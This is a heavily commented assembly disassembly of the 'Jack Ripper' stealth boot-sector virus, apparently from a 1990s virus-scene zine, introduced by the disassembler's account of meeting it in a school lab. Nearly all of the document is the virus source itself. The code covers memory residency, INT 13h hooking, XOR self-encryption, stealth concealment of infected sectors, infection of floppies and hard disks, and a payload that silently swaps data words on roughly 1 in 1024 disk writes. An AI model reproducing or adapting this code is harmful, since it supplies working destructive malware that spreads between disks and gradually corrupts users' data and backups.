;
; VIRUS NAME: Jack Ripper
; ORIGIN : Bulgaria
; VIRUS SIZE: 2 Sectors
; VIRUS TYPE: Stealth MBR/BS Infector
; PAYLOAD : 1 in 1024 disk writes, it swaps 2 words in the write buffer
;
;
; The Ripper Virus is a very common boot sector virus. It was the first
; virus that I ever came across. I was fascinated how it could evade my
; ignorant teachers at my school's computer lab. (They couldn't figure
; out that their AV boot disks were infected.) After the problem persisted
; for months, they literally threw away all their disks, formatted the hard
; drives, installed Lame AV, installed security programs, and went to a
; diskless system. Ripper might be gone, but its memory in that lab
; still lingers.
;
; Anywayz, since it was the first virus I came across, and the virus that
; got me interested in the scene, I decided to do it justice and have it be
; the first virus that I disassembled. When I started disassembling
; I knew nothing about Boot Viruses (or disassembling as you will see), but
; after bugging VD for days, he wrote a Boot Virus tutorial, which should
; also be included in this SLAM edition. If you like comments, you will
; find tons of comments.
;
; Although I don't like destructive payloads, Ripper's Payload has to be
; the most subtle destructive data diddling that I know of. Every 1 in 1024
; writes, it swaps two words around in the write buffer, thus a gradual
; corruption of data and backups. Because of this destructive payload,
; I have not tried to compile it, or try to make a working byte for byte exact
; copy. As of this writing, there were no varients of the Ripper Virus, and
; I hope the VX community can give Ripper the respect it deserves and leave
; it that way.
;
; Ripper employs lots of cool tricks, and I have learned alot from
; disassembling it. I hope I did Jack Ripper justice with my disassembling
; of his virus.
seg000 segment byte public 'CODE'
assume cs:seg000
assume es:nothing, ss:nothing, ds:nothing
jmp short Start_Ripper ; Clear Interrups
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
nop
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
IBM db 49h ; I
db 42h ; B
db 4Dh ; M
db 20h ;
db 20h ;
db 35h ; 5
db 2Eh ; .
db 30h ; 0
BytesPerSector db 0
db 2 ;
db 2 ;
Reserved_Sector dw 1
Num_Of_FATs db 2
Max_Root_Dirs dw 70h
db 0A0h ;
db 5 ;
db 0F9h ; ù
Sectors_in_Fat dw 3
Sctrs_Per_Track dw 9
db 2 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 29h ; )
db 4 ;
db 16h ;
db 4Eh ; N
db 34h ; 4
FatName db 'NO NAME FAT12 ú3'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Start_Ripper:
cli ; Clear Interrups
xor ax, ax ; AX = 0
mov ss, ax ; SS = 0
mov sp, 7C00h ; SP = 7C00h
sti ; Restore Interrupts
mov si, 7C50h ; SI = 7C50h
push cs ; Save CS
call near ptr XOR_Encryption
Strt_Encryption:
mov si, sp ; SI = 7C00h
mov ax, ds:413h ; Get Amount of Free Memory in Paras
dec ax
dec ax ; Decrease New Amount of Free Memory
push ax ; Save New Amount of Free Memory
mov cl, 6
shl ax, cl ; Convert AX to Segment of Free Memory
mov es, ax ; ES = Segment of Free Memory
xor di, di ; DI = 0
mov cx, 100h ; CX = 100h
rep movsw ; Move First 512 bytes into Memory
mov ax, offset Memory_Continue; Continue with Resident Copy
push ds ; Push 0
push es ; Push Segment of Ripper in Memory
push ax ; Push Offset which we will return to
retf ; Goto Memory Copy
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Msg db 'FUCK ',27h,'EM UP !'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Memory_Continue:
les bx, ds:4Ch ; BX = Offset of Int 13h, ES = Segment of Int 13h
push cs
pop ds ; DS = CS
mov Int_13h_Offset, bx ; Move Offset of Int 13h into our Handler
mov Int_13h_Segment, es ; Move Segment of Int 13h into our Handler
and Drive, 80h ; Get First Drive
mov dl, Drive ; DL = Drive
mov dh, Head ; DH = Head
xor bx, bx ; BX = 0
call Check ; Check to see if we are hooked
pop es ; ES = 0
jnb Exit_Hooking ; Jump if Carry Flag is Clear
mov cx, Loc_2_Sector ; CX = Location of Second Sector of Ripper
mov bx, 200h ; BX = 200h, Directly after First Half
push es ; Push 0
push cs
pop es ; ES = CS
call Prepare_Read ; Read 2nd half of Ripper into Memory
pop es ; ES = 0
push es
pop ds ; DS = 0
jb Exit_Hooking ; If there is a problem with the Read, Exit
pop word ptr ds:413h ; Set New Amount of Free Memory
mov word ptr ds:4Ch, offset Int_13h_Handler; Set New Offset to our Handler
mov ds:4Eh, cs ; Set new Segment to our handler
push ax ; Push something for the pop
Exit_Hooking:
pop ax ; Pop the extra Pushed number
mov cx, cs:Loc_Old_Boot ; CX = Location of Old Boot Sector
mov bx, sp ; BX = 7C00h
call Prepare_Read ; Read Original Boot Sectorto 0000:7C00h
push es ; Push 0
push bx ; Push 7C00h at End of XOR Loop Return to 0:7C00h
jmp short Skip_Signature; Encrypt Memory Resident Txt and Code
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Signature db '(C)1992 Jack Ripper'
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Skip_Signature:
mov si, offset Strt_Encryption; Encrypt Memory Resident Txt and Code
XOR_Encryption proc far
mov di, si ; DI = SI
push cs
pop ds ; DS = CS
push cs
pop es ; ES = CS
XOR_Loop:
lodsb ; Load a byte into AL
xor al, 10101010b ; XOR it
stosb ; Put it Back
push di ; Save DI
and di, 11111111b ; Get lower half of DI
cmp di, offset Skip_Signature; Are we to our stopping point?
pop di ; Get Old DI back
jnz XOR_Loop ; Loop if not done
xor ax, ax ; AX = 0
mov ds, ax ; DS = 0
mov es, ax ; ES = 0
retf ; Return
XOR_Encryption endp
Int_13h proc near
pushf
call dword ptr cs:Int_13h_Offset; Call Original Int 13h
retn ; Return
Int_13h endp
Prepare_Read proc near
mov di, 3 ; Try to Read 3 Times
Read_One_Sector:
xor ax, ax ; AX = 0
call Int_13h ; Reset Disk System
mov ax, 201h ; AX = 201h
call Int_13h ; Read one Sector into ES:BX buffer
jnb Successful_Read ; Jump if Read was Successful
dec di ; Decrease DI
jnz Read_One_Sector ; If DI > 0, Try to Read Again
Successful_Read:
retn ; Return
Prepare_Read endp
Check proc near
mov di, bx ; DI = BX
mov si, 0E2h ; SI = E2h
add di, si ; DI = BX + E2h
mov cx, 20h ; CX = 20h
Check_Loop:
cmpsw ; Cmp Two Words
jnz Not_Equal ; Jump if they aren't equal
loop Check_Loop ; Loop
clc ; Clear Carry Flag
retn ; Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Not_Equal:
stc ; Set Carry Flag
retn ; Return
Check endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Read:
push ax ; Save Registers
push bx
push cx
push dx
cmp dl, ds:177h ; Does Drive = Our Drive?
mov ds:177h, dl ; Put Drive into Drive
jnz Not_Same_Drive ; Don't read the disk a whole bunch.
xor ax, ax ; AX = 0
int 1Ah ; CLOCK - GET TIME OF DAY
; Return: CX:DX = clock count
; AL = 00h if clock was read or written (via AH=0,1) since the previous
; midnight
; Otherwise, AL > 0
mov ax, dx ; AX = Clock Count
sub ax, ds:175h ; Sub from Clock Count a previous Clock Count
mov ds:175h, dx ; Save New Clock Count
cmp ax, 36h ; Cmp Time to about 3 seconds.
jb Less_3_Secs ; If below, Don't Check Infection
Not_Same_Drive:
pop dx ; Get Head and Drive
push dx ; Save it again
push si ; Push Return Value
call Check_Infection ; Check For Infection
pop si ; Pop return Value
Less_3_Secs:
pop dx ; Restore Registers
pop cx
pop bx
pop ax
pop es
push es ; Save ES
push si ; Save SI
call Check_To_Stealth ; Stealth
Exit_Handler:
pop es ; Restore Registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf ; Restores Flags
jmp dword ptr cs:Int_13h_Offset; Continue with real Int 13h
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Loc_2_Sector dw 4
Loc_Old_Boot dw 5
Int_13h_Offset dw 53ECh
Int_13h_Segment dw 0F000h
Clock_Count dw 0AC8h
Drive db 0
Head db 1
Partion_Tables db 7Ch ; |
db 0A3h ; £
db 4Dh ; M
db 7Ch ; |
db 0F8h ; ø
db 0C3h ; Ã
db 0F9h ; ù
db 0C3h ; Ã
db 0B4h ; ´
db 2 ;
db 8Bh ; ‹
db 16h ;
db 4Dh ; M
db 7Ch ; |
db 0B1h ; ±
db 6 ;
db 0D2h ; Ò
db 0E6h ; æ
db 0Ah ;
db 36h ; 6
db 4Fh ; O
db 7Ch ; |
db 8Bh ; ‹
db 0CAh ; Ê
db 86h ; †
db 0E9h ; é
db 8Ah ; Š
db 16h ;
db 24h ; $
db 7Ch ; |
db 8Ah ; Š
db 36h ; 6
db 25h ; %
db 7Ch ; |
db 0CDh ; Í
db 13h ;
db 0C3h ; Ã
db 0Dh ;
db 0Ah ;
NonSystemDisk db 'Non-System disk or disk error',0Dh,0Ah
db 'Replace and press any key when ready',0Dh,0Ah,0
Ibmbio db 'IBMBIO COMIBMDOS COM',0
db 0 ;
End_1st_Sector dw 0AA55h
I13h_With_Check proc far
call Int_13h ; Real Int 13h
jb Write_Problem ; Problem?
retn ; Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Write_Problem:
pop bx
Read_Problem:
push bp ; Save BP
mov bp, sp ; BP = Stack
or word ptr [bp+12h], 1; Set Carry Flag
mov [bp+10h], ax ; Set Error AX
pop bp ; Get BP Back
Pop_w_Check:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jb Error_Skip_AX_0 ; Err: Don't erase our previous AX
mov ax, 0 ; No Error AX = 0
Error_Skip_AX_0:
retf 2
I13h_With_Check endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Stealth:
call near ptr I13h_With_Check
call Check ; Check for Infection
jb Pop_w_Check ; Exit if Not Infected
mov cx, es:[bx+16Fh] ; Find original BS's Track & Sector
mov dh, es:[bx+178h] ; Finde Original BS's Head
mov ax, 201h ; Read One Sector
call near ptr I13h_With_Check
jmp short Pop_w_Check ; Exit
SetUp_400_Read proc near
mov dh, 0 ; Head = 0
mov cx, 1 ; Track = 0 Sector = 1
mov bx, 400h ; BX = 400h
mov ax, 201h ; Read One Sector
push cs
pop es ; ES = CS
retn
SetUp_400_Read endp
Read_Into_400 proc near
call SetUp_400_Read
call Int_13h ; Read One Sector Into CS:400h
retn ; Return
Read_Into_400 endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Return_out_of_Stealth:
mov si, bx
mov di, ax
push es
pop ds ; DS = ES
assume ds:seg000
call SetUp_400_Read ; Read BS to CS:400h
call near ptr I13h_With_Check
push di ; Save Orginal AX
push si ; Save Original BX
mov bx, si ; Restore BX
inc si
inc si ; SI = Past Jump
call Save_Boot_Headr ; Move Header info
push ds
push cs
pop ds ; DS = CS
push cx
mov bx, 400h ; BX = 400h
call Check
pop cx ; Restore CX
pop es
assume es:nothing
pop bx ; Get Original BX back
pop ax ; Get Original AX back
jnb No_Stealth_Problem ; SI = 56Fh
jmp Exit_Handler ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
No_Stealth_Problem:
mov si, 56Fh ; SI = 56Fh
mov cx, [si] ; Location Old Boot
mov dh, [si+9] ; Location Old Head
call near ptr I13h_With_Check; Stealth it
call SetUp_400_Read ; Read Real BS
xor bx, bx ; To CS:0h
call near ptr I13h_With_Check
jmp short Pop_w_Check
Check_To_Stealth proc near
cmp ch, 0 ; Compare Track to 0
jnz Continue ; Allow if not
cmp cl, 1 ; Cmp Sector to 1
jnz No_Stealth ; No Need for Stealth
cmp dh, 0 ; Compare Head to 0
jnz No_Stealth ; No Need for Stealth
pop di ; Retn to number in SI
retn ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Continue:
retn 2
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
No_Stealth:
add sp, 4 ; Remove the bytes pushed by Stealth
cmp ah, 2 ; Is it a read?
jnz Not_Read ; Check for Read
mov di, ax ; Save AX in DI
call near ptr I13h_With_Check; Read
mov ax, di ; Restore AX
Check_Again:
mov di, bx ; Save BX in DI
mov si, 200h ; SI = 200h
Word_Check_Loop:
cmpsw
jnz Word_Not_Equal ; If they don't equal Jmp
cmp si, 400h ; Check 200 bytes
jnz Word_Check_Loop
jmp short Stealth_Disk ; DI = BX
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Word_Not_Equal:
add bx, 200h ; Increase One Sector
dec al ; One Less Sector
jnz Check_Again ; Save BX in DI
jmp short AL_Zero
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Stealth_Disk:
mov di, bx ; DI = BX
mov cx, 100h ; CX = 100h
push ax ; Save AX
xor ax, ax ; AX = 0
rep stosw ; Mov 1024 bytes/2 sectors
pop ax ; Restore AX
dec al ; Dec AL again
jz AL_Zero
mov cx, 100h ; CX = 100h
xor ax, ax ; AX = 0
rep stosw
AL_Zero:
; Check_To_Stealth+4Aj
jmp Pop_w_Check
Check_To_Stealth endp
Payload proc near
push ax ; Save Registers
push bx
push cx
push dx
xor ax, ax ; AX = 0
int 1Ah ; CLOCK - GET TIME OF DAY
; Return: CX:DX = clock count
; AL = 00h if clock was read or written (via AH=0,1) since the previous
; midnight
; Otherwise, AL > 0
test dx, 1111111111b ; Test with 3FFh, 1 in 1024 chance
jnz Exit_Payload ; Jump if not equal
or cl, dh ; Or CL and DH to get a random number
and cx, 111111100b ; Discard top 7 bits and 2 lower bits
add bx, cx ; Swap 2 words with a random location
push word ptr es:[bx] ; The infamous Ripper Word Swapping
push word ptr es:[bx+2] ; Push 2 words
pop word ptr es:[bx] ; And Pop them in Reverse order
pop word ptr es:[bx+2]
Exit_Payload:
pop dx ; Restore Registers
pop cx
pop bx
pop ax
retn ; Return
Payload endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Not_Read:
cmp al, 1 ; Is it just one Sector?
jnz Exit ; Exit If its Not just one sector
push es ; Save Registers
push bx
push cx
push dx
call Read_Into_400 ; Read BS right after Virus in Memory
pop dx ; Restore the Saved Registers
pop cx
pop bx
pop es
jnb No_Read_Prob ; No Problem with Read
jmp Read_Problem ; Problem with Read
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
No_Read_Prob:
mov si, 56Dh ; SI = 56h
cmp dh, [si+0Bh] ; Cmp DH with Head on the BS
jnz Exit ; Exit if they don't equal.
cmp cx, [si] ; Cmp CX with Location of the 2nd sector.
jz Write_BS_MBR ; If equal write MBR/BS
cmp cx, [si+2] ; Cmp CX with location of the Old sector.
jz Write_BS_MBR ; If equal write MBR/BS
Exit:
jmp Exit_Handler ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Write_BS_MBR:
call SetUp_400_Read
mov ax, 301h ; Write 1 Sector Instead of Read
call near ptr I13h_With_Check; Write One Sector
jmp Pop_w_Check
Check_Infection proc near
call Read_Into_400 ; Read First Sector into CS:400
jnb No_Read_Error ; Jump if No Error
retn
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
No_Read_Error:
mov si, 402h ; SI = 402h
call Save_Boot_Headr
call Check ; Check Infection
jb Not_Infected ; Jump if it isn't Infected
Infection_Done:
retn ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Not_Infected:
test Drive, 80h ; See if the Drive is a Diskette or HD
jz Diskette ; Jump to Diskette if it is a Diskette
mov cx, 8 ; Second Sector Resides at Sector 8
Write_2nd_Sectr:
mov bx, 200h ; Read from the Second 512 bytes (200h)
mov ax, 302h ; Write 2 Sectors
call Int_13h ; Write 2nd Sector and Orig Boot Sector
jb Infection_Done ; Near Return
mov Loc_2_Sector, cx ; Write where to find the Second Sector
inc cx ; Old Boot is found right after it.
mov Loc_Old_Boot, cx ; Where to find the Old boot code
mov Head, dh ; Save Head
call SetUp_400_Read
xor bx, bx ; Start at beginning of Code
mov ax, 301h ; Write 1 Sector
call Int_13h ; Write the Boot Sector
retn ; Near Return
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Diskette:
cmp word ptr BytesPerSector, 200h; Make sure it is a floppy.
jnz Infection_Done ; Quit if not Equal
mov cx, Reserved_Sector ; Location of Reserved Sectors before FAT
mov al, Num_Of_FATs ; Number Of FATs
cbw ; Convert byte to word, xor ah, ah?
mul Sectors_in_Fat ; AX = # of FATS * # of Sectors in FAT
add cx, ax ; CX = Reserved Sectors + Sectors of FATS
mov ax, 20h ; ' ' ; AX = 20h
mul Max_Root_Dirs ; AX = 20h * Max # of Root Directories
mov bx, 200h ; BX = 200h
div bx ; AX = 20h * # if Root Dirs / 200h
add cx, ax ; CX = Reserved + Fat + Root Dir
dec cx ; Decrease CX by 1
mov dh, 1 ; DH = 1
sub cx, Sctrs_Per_Track ; CX = Reserved + FAT + Root Dir - 1 - Track
mov dl, Drive ; DL = Drive
jmp short Write_2nd_Sectr; Go Write the Second Sector
Check_Infection endp
Save_Boot_Headr proc near
mov di, 2 ; DI = 2
Move_Header_Loop:
movsb ; Move a byte from DS:DI to ES:DI
cmp di, 40h
jnz Move_Header_Loop ; Jump if we are not done
mov si, bx ; Si = 400h
mov di, offset Partion_Tables
add si, di ; DI = 400h + Partition Table
Move_Something:
movsb
cmp di, 200h
jnz Move_Something
retn
Save_Boot_Headr endp
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Int_13h_Handler:
clc ; Clear Carry Flag
pushf ; Save Flags
push ax ; Save Registers
push bx
push cx
push dx
push si
push di
push ds
push es
push cs
pop ds ; DS = CS
cld ; Clear Direction Flag
cmp ah, 2 ; Read?
jnz Check_For_Write ; If Not a Read Continue our checks
mov si, offset Stealth ; Return to
jmp Read ; Jmp to Read
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Check_For_Write:
cmp ah, 3 ; Write?
jz Write ; Jump if it is
Allow_Write:
jmp Exit_Handler ; Restore Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Write:
call Payload ; Payload time
cmp cx, 1 ; Does Track = 0 and Sector = 1?
jnz Not_Boot_Sector ; If not the bootsector, Jump
cmp al, 1 ; Are they only writing one sector?
jnz Allow_Write ; If not, Jump
Not_Boot_Sector:
mov si, offset Return_out_of_Stealth; Return to
jmp Read ; Save Registers
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 0D2h ; Ò
seg000 ends
end